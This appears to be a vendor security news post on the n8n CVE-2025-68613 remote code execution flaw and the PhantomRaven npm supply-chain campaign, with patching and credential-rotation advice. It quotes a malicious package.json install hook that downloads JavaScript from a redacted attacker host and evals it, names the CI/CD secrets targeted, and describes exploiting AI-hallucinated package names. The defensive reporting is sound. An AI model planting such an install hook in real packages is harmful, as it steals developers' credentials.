n8n CVE-2025-68613 Is Now on CISA's KEV List. 40,000+ Unpatched Instances Store Your API Keys.

n8n CVE-2025-68613 — CISA KEV, FCEB Deadline March 25

What It Is

n8n is an open-source workflow automation platform — think Zapier but self-hosted and AI-native. It connects to your entire service stack: OpenAI and Anthropic APIs, Google Workspace, Microsoft 365, GitHub, Slack, Stripe, Twilio, and dozens more. A typical production n8n instance stores credentials for every one of those integrations.

CVE-2025-68613 is an unauthenticated remote code execution vulnerability in n8n. CISA added it to the Known Exploited Vulnerabilities catalog on March 11, 2026 — meaning confirmed active exploitation in the wild, not just proof-of-concept. FCEB agencies have until March 25 to patch or remove the affected service.

Why It's High Priority

Most CVEs affect one system. When an attacker exploits n8n, they get one server — plus the credentials to every service that server talks to. The typical blast radius of an n8n compromise includes:

• AI provider API keys — OpenAI, Anthropic, Google Gemini. Each key has billing exposure and data access implications.
• OAuth tokens — stored refresh tokens for Google, Microsoft, Slack, GitHub. Long-lived, scope-wide, often tied to service accounts.
• CI/CD secrets — GitHub Actions tokens, GitLab CI credentials, Jenkins API keys. A compromised CI/CD credential gives write access to code repositories and can inject malicious deployments.
• Webhook secrets — Stripe, Twilio, PagerDuty. Compromise means the ability to forge events and trigger financial transactions.
• Database connection strings — n8n workflows frequently read and write to databases directly.

40,000+ public n8n instances remain unpatched as of this writing, according to internet-wide scanning data. Public means internet-accessible — no VPN, no firewall. Many are running default configurations with no additional authentication beyond n8n's own login.

What To Do

1. If you run n8n: patch now. Update to the latest version via npm update -g n8n (npm install), docker pull n8nio/n8n (Docker), or your package manager of choice. Check the n8n releases page for the patched version.
2. Audit your n8n credentials. Even after patching, if your instance was publicly accessible before, rotate every stored credential. The n8n credentials store shows you every service it has tokens for. Start there.
3. Put n8n behind authentication. n8n instances should never be publicly accessible without an additional authentication layer — ideally a VPN or at minimum HTTP Basic Auth in front of the n8n interface. The product's own auth is a second factor, not a first line of defence.
4. Check Shodan. Search http.title:"n8n" to see if your instance is indexed. If it is, it's been seen.

CISA's two-week deadline is for federal agencies. The recommendation for everyone else is the same: today.

PhantomRaven Wave 4 — 88 Malicious npm Packages, Two New Techniques

What Wave 4 Is

PhantomRaven is an ongoing npm supply chain campaign that has been running since late 2025. Wave 4, reported this week, introduces 88 malicious packages, 81 of which remain live on the npm registry at time of writing. The campaign's primary targets are CI/CD pipeline tokens: GitHub Actions secrets, GitLab CI variables, Jenkins API credentials.

Waves 1–3 used traditional typosquatting — package names close to popular ones, betting on developer typos. Wave 4 brings two significant technique upgrades.

New Technique 1: Slopsquatting

Slopsquatting targets AI-assisted development. The attack flow:

1. A developer asks an LLM (ChatGPT, Claude, Gemini, Copilot) to generate code that uses an npm package
2. The LLM hallucinates a plausible-sounding package name that doesn't actually exist
3. The attacker has already registered that name on npm with a malicious payload
4. The developer copies the generated code and runs npm install — installing the attacker's package

This is qualitatively different from typosquatting. The developer made no typo. They copied a package name that looked legitimate because an AI model generated it. The package name is plausible and professional-looking — it's not lodahs (typo for lodash), it's something like @workflow-utils/task-runner that sounds like it should exist.

Defense: verify every package name from AI-generated code against the npm registry before installing. Check the package has recent activity, a real maintainer, and was first published before it started appearing in LLM outputs. Packages first published in the last few weeks with no history warrant extra scrutiny.

New Technique 2: Remote Dynamic Dependencies

This is the technique that makes Wave 4 particularly difficult to detect.

Wave 4 packages contain no malicious code at time of publish. The package passes automated npm security scanning because there is nothing malicious to find in the package contents. The install lifecycle script appears benign.

At install time, the script reaches out to an attacker-controlled EC2 instance and downloads the actual malicious payload dynamically. The malware is delivered post-inspection, at the moment of developer install.

"scripts": {
  "install": "node -e \"require('https').get('https://[redacted].amazonaws.com/init.js', r => { let d=''; r.on('data',c=>d+=c); r.on('end',()=>eval(d)); })\""
}

The payload targets CI/CD credential files: ~/.npmrc, ~/.gitconfig, environment variables for GITHUB_TOKEN, GITLAB_TOKEN, JENKINS_API_KEY, and similar. It also reads running process environment variables on Linux systems, which often include secrets injected by the CI runner.

Why static scanners miss this: Tools that scan package contents at rest see no malicious code — because there isn't any until install time. npm audit, Dependabot, and most SAST tools operate on package files. They cannot detect a payload that only exists as a URL pointing at a remote server.

SecurityClaw's supply chain scanner (Demo D9) uses behavioural analysis including network monitoring during install simulation — it flags packages that initiate outbound connections during the install lifecycle. This is the detection layer that static analysis cannot provide. See Demo D9 for the full technical breakdown of how behavioural detection works in practice.

What To Do

• Audit every package added to your projects in the last 30 days. Run them through a supply chain scanner that does behavioural analysis, not just static inspection.
• Run npm ci instead of npm install in CI/CD. This uses the lockfile exactly, preventing opportunistic dependency updates that could swap in a compromised version.
• Block outbound connections during npm install in CI. Most CI runners allow network policies. An npm install that tries to phone home to an EC2 instance should fail, not succeed silently.
• Verify AI-suggested package names before installing. Ask: does this package have history? Does the first publish date predate when LLMs started suggesting it? Is the download count consistent with a package used at the claimed scale?
• Rotate CI/CD tokens if you've installed new packages recently. If any package installed in the last 30 days made outbound connections during install, assume the tokens in that environment are compromised. GitHub, GitLab, and Jenkins all have credential rotation procedures. The rotation cost is lower than the breach investigation cost.

The Common Thread

Both threats this week target the same attack surface: the credentials that power automated systems. n8n is a credential aggregator by design — it stores tokens for everything it connects to. PhantomRaven targets the credentials that live in CI/CD environments, where code is automatically tested, built, and deployed.

The security principle that covers both is the same: treat every credential stored in an automated system as a potential compromise vector, audit what has access to those credentials, and plan for regular rotation. When a system like n8n is compromised, the damage extends far beyond the server. When a supply chain attack succeeds, the damage extends far beyond the single package.

For a technical deep dive into how supply chain attacks work and how scanners detect them, see our D9: Supply Chain Scanner demo and D3: npm audit demo. The tools are available, free, and run in seconds. The question is whether they're in your pipeline before the next wave arrives.

For deeper background on supply chain security concepts, Black Hat Python is useful reading for understanding how malicious packages execute and how detection tooling works at the code level. And Penetration Testing by Georgia Weidman covers credential theft and lateral movement in the context that makes the n8n exposure so significant — when you have credentials, you often have access to everything they connect to.